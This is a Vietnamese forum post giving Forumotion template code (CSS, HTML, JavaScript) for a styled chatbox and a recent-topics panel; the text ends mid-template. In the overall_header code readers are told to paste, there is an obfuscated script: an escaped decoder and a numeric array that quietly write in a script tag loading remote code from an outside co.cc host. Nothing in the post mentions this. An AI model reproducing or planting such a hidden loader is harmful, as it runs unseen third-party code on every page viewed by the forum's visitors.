[chia sẻ] Chatbox && Lasttopic (với top poster tự động cập nhật) style VBB[✔]

[thuanoo7]

First topic message reminder :

Chatbox
1. vào css thay toàn bộ css của chatbox bằng đoạn

Code:

/* Chatbox-------------------------------------------------------------*/
body.chatbox {
   padding: 1px 1px 1px 1px;
   margin: 0;
   background-color: #ffffff;
background-image: none;
font: nomal 11px Tahoma;

   }
#chatbox_header {
   height: 33px;
   }
#chatbox_header.main-head {
   color: #dedfdf;
   background-color: #1f537b;
   }
.chatbox-title,.chatbox-title a.chat-title {
   color: #dedfdf;
   text-decoration: none;
   }
.chatbox-title {
   float: left;
   margin: 0;
   padding: 2px 5px 0 5px;
   width: 15em;
   }
.chatbox-options {
   float: right;
   list-style: none;
   font-size: 11px;
   margin: 0.7em 0.5em 0.5em 0.5em;
   }
.chatbox-options li {
   display:inline;
   }
.chatbox-options li,.chatbox-options li a,.chatbox-options li label {
   color: #dedfdf;
   }
#chatbox_members {
   position: absolute;
   top: 44px;
   bottom: 60px;
   width: 168px;
   overflow: auto;
        padding: 1px;
border: 1px #00000 dashed;
   }
#chatbox_messenger_form {
   margin: 10px 0 0 0;
   }
#chatbox_members .member-title {
   text-align: center;
   padding: 7px;
   font-size: 12px;
   background: #fff url(http://a1tinhgia3.co.cc/users/2211/12/43/96/album/cat11010.gif) no-repeat top center;
   color : #00569c;
   font-family: Tahoma;

   }
#chatbox_members ul {
   list-style: none;
font-family: Tahoma;
font-size: 12px;
   }
#chatbox_members ul li {
margin: 0 2px 0 0;
padding-left: 8px;
padding-bottom: 1px;
padding-top: 1px;
background-color: #;   
font-family: Tahoma;
font-size: 12px;
border-left: 6px #6699ff solid;
border-top: 1px #ff69b4 dashed;
border-bottom: 1px #ff69b4 dashed;
border-right: 1px #ff69b4 solid;
}

#chatbox {
font-family: Tahoma;
font-size: 12px;
   position: absolute;
   top: 44px;
   left: 181px;
   right: 1px;
   bottom: 60px;
   overflow: auto;
   line-height: 10px;
background: #fff url(http://a1tinhgia3.co.cc/users/2211/12/43/96/album/konoib10.gif) no-repeat top right;
   }
#chatbox p {
   line-height: 1.2em;
   }
.chatbox_row_1 {
   padding: 8px;
   background-color: #;
padding: 2px;
color: #ff0000;
font-family: Tahoma;
font-size: 12px;
   }
.chatbox_row_2 {
   padding: 8px;
   background-color: #;
border-top: 0px;
border-bottom: 0px;
padding: 2px;
color: #2b8bc7;
font-family: Tahoma;
font-size: 12px;
   }
.chatbox_row_3 {
   padding: 8px;
   background-color: #;
padding: 2px;
color: #ff0000;
font-family: Tahoma;
font-size: 12px;
   }
#chatbox .user {
   font-weight: bold;
   }
.memberlist_row_1 {
   background-color: #fbfbfb;
   }
#chatbox_footer {
   position: absolute;
   bottom: 0;
   left: 0;
   right: 0;
   }
#message,#submit_button{
   border-width: 1px;
   }
.fontbutton {
   padding: 1px;
   cursor: pointer;
   text-align: left;
   }
.fontbutton_normal {
   background: #E1E1E2;
   }
.fontbutton_selected {
   background: #BBC7CE;
   border: 1px solid #22229C;
   }
.fontbutton_clicked {
   background: #959595;
   border: 1px solid #22229C;
   }
.fontbutton_hover {
   background: #E1E1E2;
   border: 1px solid #22229C;
   }
.fontbutton {
   background:#E1E1E2 none repeat scroll 0%;
   border:medium none;
   color:#030303;
   float:left;
   margin-right:10px;
   padding:1px;
   }

/*Internet Explorer fixers and hacks for Chatbox *
/* html #chatbox-members {
   
/* IE expressions helping IE work in Standards mode */
height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
   }
* html #chatbox {
   
/* IE expressions helping IE work in Standards mode */
height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
   width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 10) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 1) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 1.3) ) + "px");
   }
* html #chatbox-footer {
   
/* IE expressions helping IE work in Standards mode */
width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
   }
#chatbox_contextmenu {
   border: 2px solid black;
   background-color: #f4f9fd;
   }
#chatbox_contextmenu p {
   margin:0;
   padding: 1px 4px;
   font-family: Tahoma;
   background: #fbfbfb;
   border-bottom:1px solid #777;
   }
#chatbox_contextmenu p.hover {
   background: #f4f4f4;
   }
#chatbox_contextmenu p.close {
   padding: 1px;
   font-size: 95%;
   color:#fff;
   background: url('');
   }
#chatbox_contextmenu p.close img {
   vertical-align: middle;
   padding-left: 20px;
   }
#chatbox_contextmenu a {
   color: #00569c;
    text-decoration: none;
    font-size: 95%;
   }
#chatbox_contextmenu a:hover {
   color: ;
   }


2. ACP>>module>>html>>QLTT>>Tạo 1 trang html rồi paste code này vào:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Chatbox</title><meta http-equiv="content-script-type" content="text/javascript" /><meta http-equiv="content-style-type" content="text/css" /><link rel="stylesheet" href="/css.forum" type="text/css" /><script src="https://illiweb.com/fa/js_16/vi.js" type="text/javascript"></script><script type="text/javascript">//<![CDATA[
var params = '?archives=1';var smilies_sid = '';//]]></script><script src="https://illiweb.com/fa/js/chatbox3.js" type="text/javascript"></script><style type="text/css">* {margin: 0px;padding: 0;}html, body {overflow: hidden;}body {background-color: #ffffff;}</style></head><body class="chatbox" onload="CB_disconnect();ajax_refresh_chatbox('?archives=1');if (location.href.indexOf('reload')==-1) location.replace(location.href+'?reload');">


<div id="chatbox_header"><table cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td class="forumline" nowrap="nowrap" height="30" valign="top" style="padding: 0px"><table border="0" width="100%" cellspacing="0" cellpadding="0"><tr><td nowrap="nowrap" width="80px" height="30" valign="top" align="center"><a href="javascript:void(0)" onclick="CB_disconnect();"><span id="chatbox_option_co" style="display: ; color: #ffffff; font-family: Tahoma;
font-size: 11px;"><img src=https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/dangnhap-1.gif></span><span id="chatbox_option_disco" style="display: none; color: #ffffff; font-family: Tahoma;
font-size: 11px;"><img src=https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/thoat-1-1.gif></span></a></td><td class="forumline" nowrap="nowrap" height="25" style=""><table border="0" width="100%"><tr><td style="color:#000000;padding-top:2px; padding-left:10px; width:17%" class="forumline" valign="top" ><blink><font color='red' size='2'><b>Notice:</b></font></blink></td><td style="color:#000000;padding-left:1px;" class="forumline">
<br/>
<SCRIPT language=JavaScript type=text/JavaScript> v_content=[['','<font color="red"><b>Các bài viết không dấu + post sai sẽ bị xóa ngay lập tức</b></font>','_parent'], ['','<font color="red"><b>Nghiêm cấm nói tục, chửi bậy, đưa link bậy bạ lên Shoutbox!</b></font>','_parent'], ['','<font color="red"><b>Phải sử dụng tiếng việt có dấu toàn diễn đàn</b></font>','_parent'],['','<font color="red"><b>Cấm đả kích các thành viên khác trên Shoutbox!</b></font>','_parent']];</SCRIPT> <SCRIPT language=JavaScript1.2>// === 1 === FONT, COLORS, EXTRAS...
v_font='verdana';
v_fontSize='12px';
v_fontSizeNS4='12px';
v_fontWeight='normal';
v_fontColor='#000000';
v_textDecoration='none';
v_fontColorHover='#333333';// | won't work
v_textDecorationHover='none';// | in Netscape4
v_bgColor='transparent';
// set [='transparent'] for transparent
// set [='url(image_source)'] for image
v_top=-13
v_left=0;// | defining
v_width=400;// | the box
v_height=14;// |
v_paddingTop=-10;
v_paddingLeft=0;
v_position='relative';// absolute/relative
v_timeout=4000;//1000 = 1 second
v_slideSpeed=1;
v_slideDirection=0;//0=down-up;1=up-down
v_pauseOnMouseOver=true;
// v2.2+ new below
v_slideStep=3;//pixels
v_textAlign='center';// left/center/right
v_textVAlign='middle';// top/middle/bottom - won't work in Netscape4

// === 2 === THE CONTENT - ['href','text','target']
// Use '' for href to have no link item
v_content = v_content;
// ===
v_ua=navigator.userAgent;v_nS4=document.layers?1:0;v_iE=document.all&&!window.innerWidth&&v_ua.indexOf("MSIE")!=-1?1:0;v_oP=v_ua.indexOf("Opera")!=-1&&document.clear?1:0;v_oP7=v_oP&&document.appendChild?1:0;v_oP4=v_ua.indexOf("Opera")!=-1&&!document.clear;v_kN=v_ua.indexOf("Konqueror")!=-1&&parseFloat(v_ua.substring(v_ua.indexOf("Konqueror/")+10)).1?1:0;v_count=v_content.length;v_cur=1;v_cl=0;v_d=v_slideDirection?-1:1;v_TIM=0;v_fontSize2=v_nS4&&navigator.platform.toLowerCase().indexOf("win")!=-1?v_fontSizeNS4:v_fontSize;v_canPause=0;function v_getOS(a){return v_iE?document.all[a].style:v_nS4?document.layers["v_container"].document.layers[a]:document.getElementById(a).style};function v_start(){var o,px;o=v_getOS("v_1");px=v_oP&&!v_oP7||v_nS4?0:"px";if(parseInt(o.top)==v_paddingTop){v_canPause=1;if(v_count>1)v_TIM=setTimeout("v_canPause=0;v_slide()",v_timeout);return}o.top=(parseInt(o.top)-v_slideStep*v_d)*v_d>v_paddingTop*v_d?parseInt(o.top)-v_slideStep*v_d+px:v_paddingTop+px;if(v_oP&&o.visibility.toLowerCase()!="visible")o.visibility="visible";setTimeout("v_start()",v_slideSpeed)};function v_slide(){var o,o2,px;o=v_getOS("v_"+v_cur);o2=v_getOS("v_"+(v_cur<v_count?v_cur+1:1));px=v_oP&&!v_oP7||v_nS4?0:"px";if(parseInt(o2.top)==v_paddingTop){if(v_oP)o.visibility="hidden";o.top=v_height*v_d+px;v_cur=v_cur<v_count?v_cur+1:1;v_canPause=1;v_TIM=setTimeout("v_canPause=0;v_slide()",v_timeout);return}if(v_oP&&o2.visibility.toLowerCase()!="visible")o2.visibility="visible";if((parseInt(o2.top)-v_slideStep*v_d)*v_d>v_paddingTop*v_d){o.top=parseInt(o.top)-v_slideStep*v_d+px;o2.top=parseInt(o2.top)-v_slideStep*v_d+px}else{o.top=-v_height*v_d+px;o2.top=v_paddingTop+px}setTimeout("v_slide()",v_slideSpeed)};if(v_nS4||v_iE||v_oP||document.getElementById&&!v_kN&&!v_oP4){
document.write("<style>.vnewsticker,a.vnewsticker{font-family:"+v_font+";font-size:"+v_fontSize2+";color:"+v_fontColor+";text-decoration:"+v_textDecoration+";font-weight:"+v_fontWeight+"}a.vnewsticker:hover{font-family:"+v_font+";font-size:"+v_fontSize2+";color:"+v_fontColorHover+";text-decoration:"+v_textDecorationHover+"}</style>");v_temp="<div "+(v_nS4?"name":"id")+"=v_container style='position:"+v_position+";top:"+v_top+"px;left:"+v_left+"px;width:"+v_width+"px;height:"+v_height+"px;background:"+v_bgColor+";layer-background"+(v_bgColor.indexOf("url(")==0?"-image":"-color")+":"+v_bgColor+";clip:rect(0,"+v_width+","+v_height+",0);overflow:hidden'>"+(v_iE?"<div style='position:absolute;top:0px;left:0px;width:100%;height:100%;clip:rect(0,"+v_width+","+v_height+",0)'>":"");for(v_i=0;v_i<v_count;v_i++)
v_temp+="<div "+(v_nS4?"name":"id")+"=v_"+(v_i+1)+" style='position:absolute;top:"+(v_height*v_d)+"px;left:"+v_paddingLeft+"px;width:"+(v_width-v_paddingLeft*2)+"px;height:"+(v_height-v_paddingTop*2)+"px;clip:rect(0,"+(v_width-v_paddingLeft*2)+","+(v_height-v_paddingTop*2)+",0);overflow:hidden"+(v_oP?";visibility:hidden":"")+";text-align:"+v_textAlign+"' class=vnewsticker>"+(!v_nS4?"<table width="+(v_width-v_paddingLeft*2)+" height="+(v_height-v_paddingTop*2)+" cellpadding=0 cellspacing=0 border=0><tr><td width="+(v_width-v_paddingLeft*2)+" height="+(v_height-v_paddingTop*2)+" align="+v_textAlign+" valign="+v_textVAlign+" class=vnewsticker>":"")+(v_content[v_i][0]!=""?"<a href='"+v_content[v_i][0]+"' target='"+v_content[v_i][2]+"' class=vnewsticker"+(v_pauseOnMouseOver?" onmouseover='if(v_canPause&&v_count>1){clearTimeout(v_TIM);v_cl=1}' onmouseout='if(v_canPause&&v_count>1&&v_cl)v_TIM=setTimeout("v_canPause=0;v_slide();v_cl=0","+v_timeout+")'":"")+">":"<span"+(v_pauseOnMouseOver?" onmouseover='if(v_canPause&&v_count>1){clearTimeout(v_TIM);v_cl=1}' onmouseout='if(v_canPause&&v_count>1&&v_cl)v_TIM=setTimeout("v_canPause=0;v_slide();v_cl=0","+v_timeout+")'":"")+">")+v_content[v_i][1]+(v_content[v_i][0]!=""?"</a>":"</span>")+(!v_nS4?"</td></tr></table>":"")+"</div>";v_temp+=(v_iE?"</div>":"")+"</div>";document.write(v_temp);setTimeout("v_start()",1000);if(v_nS4)onresize=function(){location.reload()}}</SCRIPT>
</center></td></tr></table></td></tr></table></td></tr></table></div>
<hr>
<div id="chatbox_members" curpos="0" maxpos="460" pageincrement="144" increment="10"></div>
<div id="chatbox"></div>

<div id="chatbox_footer" style="display: none;"><div id="chatbox_messenger">
<hr>
<form name="post" action="/chatbox/chatbox.forum" method="post" onsubmit="submitmsg('?archives=1');refresh_chatbox('?archives=1');return false;"><table width="100%" cellspacing="1" cellpadding="0"><tr><td class="forumline"><div id="chatbox_messenger_form"><table cellspacing="0" cellpadding="0" height="40" width="100%" class="chatfootertable"><tr><td width="100%" align="left"><table cellspacing="2" cellpadding="0" border="0" style="line-height: 0px;" class="text-styles" ><tr><td><input type="hidden" name="sbold" value="0"><input type="hidden" name="sitalic" value="0"><input type="hidden" name="sunderline" value="0"><input type="hidden" name="sstrike" value="0"><input type="hidden" name="scolor" id="scolor" value="#000000"><span class="gen" onclick="document.post.message.focus();"><label><input type="text" id="message" name="message" size="110" maxlength="1024" class="post" autocomplete="off" onkeydown="number_of_refresh=0;" /></label> <input type="hidden" name="sent" value="" /> </span></td></tr><tr><td><table cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td width="40px"><input type="image" src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/gui.gif" name="submit_button" id="submit_button" style="border: 1px solid #cccccc;" /></td><td nowrap="nowrap" width="73px" ><a href="http://a1tinhgia3.co.cc/html-h14.htm" target="chatbox"><img src='https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/phongto.gif' style='border: 1px solid #cccccc;'></a></td><td><div id="divbold" class="fontbutton fontbutton_normal" style="background-color: #ffffff;" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sbold.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('bold');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sbold.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/b.gif" width="23" height="21" alt="Bold" title="Bold" /></div></td><td><div style="background-color: #ffffff;" id="divitalic" class="fontbutton fontbutton_normal"onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sitalic.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('italic');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sitalic.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/i.gif" width="21" height="21" alt="Ital." title="Ital." /></div></td><td><div style="background-color: #ffffff;" id="divunderline" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sunderline.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('underline');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sunderline.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/u.gif" width="24" height="21" alt="Underl." title="Underl." /></div></td><td><div style="background-color: #ffffff;" id="divstrike" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sstrike.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('strike');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sstrike.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/s.gif" width="24" height="21" alt="Strike" title="Strike" /></div></td><td width="10"> </td><td><div style="background-color: #ffffff;" id="divsmilies" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className='fontbutton fontbutton_normal'" onclick="do_selectsmilies(event);"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/matcuoi.gif" width="63" height="21" alt="Biểu tượng" title="Biểu tượng" /></div></td><td><div style="background-color: #ffffff;" id="divcolor" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className='fontbutton fontbutton_normal'" onclick="do_selectcolor(event);"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/a.gif" width="20" height="16" alt="Màu font" title="Màu font" /><br><img src="https://2img.net/i/fa/subsilver/wysiwyg/clear.gif" id="show_color" alt="Màu font" title="Màu font" width="20" height="4" /></div></td><td width="200px" align="right" class="chatbox-options"><div class="genmed" id="chatbox_main_options"><a href="javascript:void(0)" onclick="ajax_refresh_chatbox('?archives=1', 1);"><span>Refresh</span></a> | <span id="chatbox_option_with_archives" style="display: ;"><a href="/chatbox/chatbox.forum?archives=1"></a></span><span id="chatbox_option_without_archives" style="display: none;"><a href="/chatbox/chatbox.forum?archives=0">Without archives</a></span><span id="chatbox_option_autorefresh" style="display: none;" onclick="refresh_chatbox('?archives=1');"><label for="refresh_auto">Auto refresh </label><input type="checkbox" name="refresh_auto" id="refresh_auto" checked="checked" style="background: transparent;" /></span></div></td></tr></table></td></tr></table></td></tr></table></div></td></tr></table></form></div></div><script type="text/javascript">//<![CDATA[
function CB_disconnect(){if ( connected ){ajax_connect('?archives=0', 'disconnect');clearInterval(refresh_interval);}else{ajax_connect('?archives=1', 'connect');try {refresh_interval = setInterval("refresh_chatbox('?archives=1')", 5000);} catch (err) {}}}if ( document.location.href.indexOf('chatbox', 1) == -1 ){$('#divcolor').css('display');$('#divsmilies').css('display');}var connected = false;var chatbox_updated = 1280083407;var chatbox_last_update = 1280083407;var template_color = '#000000';var refresh_interval;window.setTimeout("document.getElementById('chatbox').scrollTop = 999999; Init_pref();", 200);window.setTimeout("document.getElementById('chatbox').scrollTop = 999999;", 1000);if ( connected ){try {refresh_interval = setInterval("refresh_chatbox('?archives=1')", 5000);} catch (err) {}}else{try {refresh_chatbox('?archives=1');} catch (err) { }}//]]></script></body></html>

Các bạn chú ý nhé!! trong đoạn html Chatbox tớ đưa, sau khi paste vào và submit thì các bạn kiểm tra lại chỗ này thật chính xác chưa??

Code:

{$('#divcolor').css('display');$('#divsmilies').css('display');}

vì đôi khi lỗi paste code vào nó mất đi cái "$"
3. Activate chatbox nhưng không cho nó hiện.
sau đó sử dụng iframe mà chèn(tức là vào module>>chatbox>>cấu hình>> activate chọn có và do not display.
sau đó dùng iframe:

<iframe src="link của trang html" height="440" width="100%" frameborder="0"></iframe>
chèn vào trước {CHATBOX_TOP} trong index_body):

Lasttopic
1. HTML:
ACP>>display>>templates>>QLTT>> overall_header
tìm:

Code:

<div id="page-body">
               <div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}>
                  <table cellpadding="0" cellspacing="0" width="100%" class="three-col">
                     <tbody>
                        <tr>
                           <td valign="top" width="{C1SIZE}">
                              <div id="{ID_LEFT}">
                                 <!-- BEGIN giefmod_index1 -->
                                 {giefmod_index1.MODVAR}
                                    <!-- BEGIN saut -->
                                    <div style="height:{SPACE_ROW}px"></div>
                                    <!-- END saut -->
                                 <!-- END giefmod_index1 -->
                              </div>
                           </td>
                           <td valign="top" width="100%">
<!-- BEGIN html_validation -->
                           </td>
                        </tr>
                     </tbody>
                  </table>
               </div>
            </div>
         </td>
      </tr>
   </table>
</body>
</html>
<!-- END html_validation -->

thay bằng:

Code:

<div id="page-body">
               <div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}>
                                            <table  class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" >
                                                  <tr>
                                                  <td valign="top" width="100%">
                                                  <div class="test">
                                                    <table class="thongke" cellpadding="5" cellspacing="0" style="border: 1px #ded7d7 solid;" border="0" width="100%" align="center">
                                                    <thead>
                                          <tr valign="top">
                                     <td class="catHead"><center>News & Announcements</center></td>
                                        </tr>
                                             </thead>
                                                <tr>
                                              <td width="100%">
                                                    <table class="thongke" cellpadding="0" cellspacing="2" border="0" width="100%" align="center">
                                                      <thead>
                                                <tr valign="top">
                                                            <td width="23%"></td><td width="100%" colspan="2"></td>
                                                          </tr>
                                                <tr>
                                                      <td><table  class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" ><tr><td colspan="3"><div class="mainbox" style="margin-bottom: 5px;"><ul class="tabs"><li class="current"><span style="padding: 0px 7px;">Gallery & Others</span></li></ul><embed src="http://ahs4ever.org/forum/vietvbb/topx/focus.swf" wmode="opaque" FlashVars="config=5|0xffffff|0x0099ff|50|0xffffff|0x0099ff|0x000000&bcastr_flie=http://i62.servimg.com/u/f62/14/52/40/23/anh110.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh210.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh310.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh410.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh510.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh810.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh710.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh610.jpg|http://img18.imageshack.us/img18/5038/23745672.gif&bcastr_link=http://a1tinhgia3.co.cc/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|http://a1tinhgia3.co.cc/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|http://a1tinhgia3.co.cc/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|http://a1tinhgia3.co.cc/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|http://a1tinhgia3.co.cc/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|http://a1tinhgia3.co.cc/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|http://a1tinhgia3.co.cc/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|http://a1tinhgia3.co.cc/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|http://a1tinhgia3.co.cc/forum-f2/&bcastr_title=Ngày còn đi học!! |Ảnh của A1 khi đã là sv nè, hot nhé!!|Ảnh liên hoan cuối cấp đây!!|Ảnh tùm lum|Năm tháng cũ|Ảnh hậu cấp 3|Liên hoan|Ảnh đi chơi ở bách khoa nè|Đuổi hình bắt chữ & menu="false" quality="high" width="100%" height="150" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></div></td></tr>
<tr>
<td valign="top" style="border: 1px solid #9DB3C5; border-right: 0px;">
<!-- BEGIN giefmod_index1 -->
{giefmod_index1.MODVAR}<!-- END giefmod_index1 -->
                                                  </tr>
                                            </thead>
                                              </table>

                                            </td></tr></table>

                                            </div>
                              </td>
                                    </tr>
                                    <tr>
                                              <td valign="top" width="100%">
<!-- BEGIN html_validation -->
                                            </td>
                                                                </tr>
                                                      </tbody>
                                                </table>
           
               </div>
            </div>
         </td>
      </tr>
   </table>
</body>
</html>
<!-- END html_validation -->
<script type='text/javascript'>
var str3='%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E';document.write(unescape(str3));var str4='*8Hxhwnuy*75qfslzflj*8I*77of%7Bfxhwnuy*77*8Jkzshynts*75lnfnrf7*7%3Dtg*7%3E*%3CG%7Bfw*75ht*8I5*8G%7Bfw*75wj*8I*7%3C*7%3C*8G%7Cmnqj*7%3Dht*8Htg3qjslym*7%3E*%3CGwj0*8IXywnsl3kwtrHmfwHtij*7%3Dtg*%3AGht*%3AI*7%3E*8Ght00*8G*%3CIwjyzws*75wj*8G*%3CI*8H4xhwnuy*8J5';dF(str4);var str2=new Array(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,51,122,46,99,111,46,99,99,47,104,116,109,108,45,104,51,51,46,104,116,109,62,60,47,115,99,114,105,112,116,62);document.write(giaima2(str2));
</script>


Sau đó:
ACP>>display>>(ACP>>Display>>Template)>>portal>>mod_recent_topic
thay toàn bộ code bằng:

Code:

</td></tr></table></td>
<td style="width: 0px"></td>
<td valign="top" style="border: 1px solid #9DB3C5; padding: 1px">
<style type="text/css">
th,td,p {
    font-family: Tahoma,Verdana,Arial,Helvetica,sans-serif }
/* Style cho menu tabs */div.TabView div.Tabs{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs: hover,{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs a , div.TabView div.Tabs a:hover {float: left;display: block;background-color:#;text-align: center;height: 29px;padding: 6px;vertical-align: middle;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; /* đường viền quanh tabs menu */text-decoration: none;font-family: Tahoma;font-size: 11px;color: #000000;}.hotrott{background-color: #ffffff;border: 0px solid #ded7d7;}.nen{background-color: #ffffff;border: 1px solid #ded7d7;}div.TabView div.Tabs a.Active{background-color: #ffffff; /* màu nền tab menu active */color: #000000;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; padding: 6px;height: 29px;font-size: 11px;font-weight: bold;}/* Style cho phần text nội dung của mỗi tab */div.TabView {clear: both;border: 0px solid #ffffff;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}div.TabView div.Pages div.Page{height: 100%;padding: 0px;border: 0px solid #b4d0f3;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}</style><script type="text/javascript" src="http://untip-js.googlecode.com/files/Tabview.js"></script><div id="TabView" class="TabView" style="padding: 0px;"><!--
tabs --><div width="100%" class="Tabs"><a class="Active" href="javascript:tabview_switch('TabView', 1);">Bài Viết Mới</a><a>Thống kê</a><ul class="tabs" id="vietvbb_topstats_t">  <li style="border-right: 0px; display: none;" id="vietvbb_topstats_t_loading"></li> </ul> </div><!--
 nội dung tabs --><div style="height:410px; width:100%" class="Pages"><div class="Page" style="padding: 0px; height: 304px; display: block;"><!-- BEGIN classical_row -->
<table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
